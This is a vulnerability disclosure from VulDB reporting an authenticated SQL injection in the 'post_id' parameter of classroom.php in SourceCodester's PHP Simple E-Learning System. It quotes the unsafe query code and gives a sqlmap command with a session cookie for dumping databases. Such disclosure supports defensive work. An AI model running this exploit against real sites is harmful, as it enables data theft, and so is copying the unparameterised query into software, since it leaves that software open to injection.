提出 #42876: sql injection in Simple E-Learning System(authenticated)

the E-Learning System source code url: https://www.sourcecodester.com/php-simple-e-learning-system-source-code

in classroom.php line 42:
code as below
if (isset($_GET['post_id'])) {
$post_id = $_GET['post_id'];
$data_query = mysqli_query($con, "SELECT body FROM posts WHERE id='$post_id'");
$body = mysqli_fetch_array($data_query);
the post_id is directly spliced ​​into the sql query statement，and the $body is directly echo in line 156

so there is a obvious sql injection, you just need a authenticated user。we can use sqlmap to exploit it .Command as below, and the cookie as your own user
python .\sqlmap.py -u "http://127.0.0.1/vcs/classRoom.php?post_id=1&classCode=class101_a" --cookie="PHPSESSID=12blsndrn1t8gcphdj864gbrcu" --dbs

• ソース: ⚠️ https://www.sourcecodester.com/php-simple-e-learning-system-source-code
• ユーザー: wuerror (UID 30660)
• 送信: 2022年08月05日 05:01 (4 年 ago)
• モデレーション: 2022年08月05日 07:13 (2 hours later)
• ステータス: 承諾済み
• VulDBエントリ: 205615 [SourceCodester Simple E-Learning System classroom.php post_id SQLインジェクション]
• ポイント: 17